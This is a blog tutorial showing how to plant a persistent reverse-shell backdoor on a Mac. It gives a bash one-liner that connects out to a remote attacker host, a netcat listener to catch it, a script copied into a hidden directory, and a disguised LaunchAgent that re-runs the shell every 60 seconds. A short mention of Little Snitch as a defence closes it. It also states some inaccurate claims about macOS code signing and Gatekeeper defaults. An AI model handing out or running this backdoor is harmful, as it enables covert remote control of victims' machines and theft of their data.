OSX has a very unique approach to fending off malware. Rather than using built-in antivirus software to discover and remove malware off of a system, OSX attempts to solve this problem by using the opposite approach. Rather than rejecting executables that may be harmful, the system only executes code that is signed and confirmed to be safe. This is a much more sophisticated way of keeping your computer safe.
For those of you who don’t know, code signing is simply a way of identifying a piece of software as authentic. It ensures that the code has not been tampered with since it was signed. Much like an author’s signature, code signing is unique to each writer and is confirmed with Apple Developer program. Through the use of cryptography, it is virtually impossible to “fake” a signature by brute force.
Since the Mac OS takes an inclusive approach to marking safe software, most Mac users have virtually no form of virus detection. By default, GateKeeper rejects all software that isn’t signed and downloadable from the App Store. Many users turn this setting off, allowing them to execute unsigned code. Our backdoor will be exploiting the lack of virus protection on OSX. (I will show a solution to this attack at the end)
Our backdoor is going to be based off of a one-liner that creates a reverse tcp bash shell.
bash -i >& /dev/tcp/my.site.here.com/1337 0>&1
This command is creating a bash shell and forwarding it to a remote host. In our case the remote host will be our publicly accessible computer. Pick a port number such as 1337. If you do not have a domain name to use, simply put your IP address (ex. 126.96.36.199).
Note: Most ISPs issue dynamic IP addresses, meaning they can change at any time. If your IP address were to change at any time, you would no longer have access to your backdoor. To prevent this, I recommend obtaining a free subdomain name online. There are many services that will issue you a free subdomain name and some software that will keep your dynamic IP address tied to your new subdomain name.
Since our payload is making a reverse connection, it is important that your computer is accessible from the internet. To do this, connect to your LAN’s router and setup port forwarding on TCP 1337 (whichever port you used) or turn on DMZ.
Note: DMZ stands for demilitarized zone. This essentially makes your computer visible to anyone on the internet. Do not turn this on if you do not know what you are doing.
To catch our reverse connection, we will use Netcat. Here is how we catch our reverse bash. Commands vary slightly depending on your machine.
nc -l -p 1337
nc -l 1337
This command tells your machine to run Netcat and listen on port 1337. When a connection is made by the victim, a shell is created. Test out your one liner by executing it on your test “victim” computer and catching it with netcat on your “attacker” computer.
Awesome! We have successfully created a reverse shell to our victim across the net. Since the victim must connect to us before we can control it, it is important that the victim’s machine attempts to connect back on its own in intervals. The solution to this is Apple’s Launch Agents. A Launch Agent is simply a .plist that, in our case, consists of a command and an interval.
Before we get to the Launch Agents, lets create a shell script with our one-liner reverse shell. Create connect.sh. This is a shell script that calls our reverse shell and then waits for the shell to exit. (the wait command is necessary so that launchd does not kill our shell early)
#!/bin/bash bash -i >& /dev/tcp/my.site.here.com/1337 0>&1 wait
Create a hidden directory in the victim’s home folder called .hidden. Copy connect.sh to the hidden directory. Give the shell script permission to execute.
#Create the hidden directory mkdir $HOME/.hidden #Copy the script to hidden folder cp connect.sh $HOME/.hidden/connect.sh #Give the script permission to execute chmod +x $HOME/.hidden/connect.sh
Here we can see that our shell script is successfully copied to our hidden directory and has permission to execute.
Now lets create a Launch Agent that will execute the connect.sh shell script every 60 seconds. Here is a sample Launch Agent:
<plist version="1.0"> <dict> <key>Label</key> <string>com.my.sneakyagent</string> <key>ProgramArguments</key> <array> <string>/bin/sh</string> <string>Users/mosca1337/.hidden/connect.sh</string> </array> <key>RunAtLoad</key> <true/> <key>StartInterval</key> <integer>60</integer> <key>AbandonProcessGroup</key> <true/> </dict> </plist>
Labels are written in com.*.* form (ex. com.my.sneakyagent). Pick something clever that won’t conflict with preexisting Launch Agents.
- RunAtLoad tells the system to execute the program immediately.
- StartInterval is the interval of seconds between each execution. (Ex. StartInterval of 300 will execute our reverse shell every 5 minutes)
- AbandonProcessGroup is some syntactic sugar that prevents launchd from killing our process (Yes, launchd will kill processes if it isn’t behaving as it should.)
Now that we have our LaunchAgent, lets load it into our test machine. Launch Agents are located in ~/Library/LaunchAgents/
launchctl load com.my.sneakyagent.plist
Done! Listen for the reverse connection using the Netcat command from above.
Note: The maximum time that you will have to wait for an incoming connection is equal to the interval set in your Launch Agent. Larger intervals are less noisy, but smaller intervals mean less waiting. Your pick…
Now that you have learned how easy it is to setup a backdoor on just about any OSX machine, lets find a way to prevent this. Little Snitch is a tool that notifies you of all outgoing connections. Since our backdoor relies on an outgoing connection to our machine at port 1337, Little Snitch should catch this connection before the attacker is able to gain access.
Here is the complete project on Github. If you found this interesting, give a star. Thanks for reading.
86,050 total views, 10 views today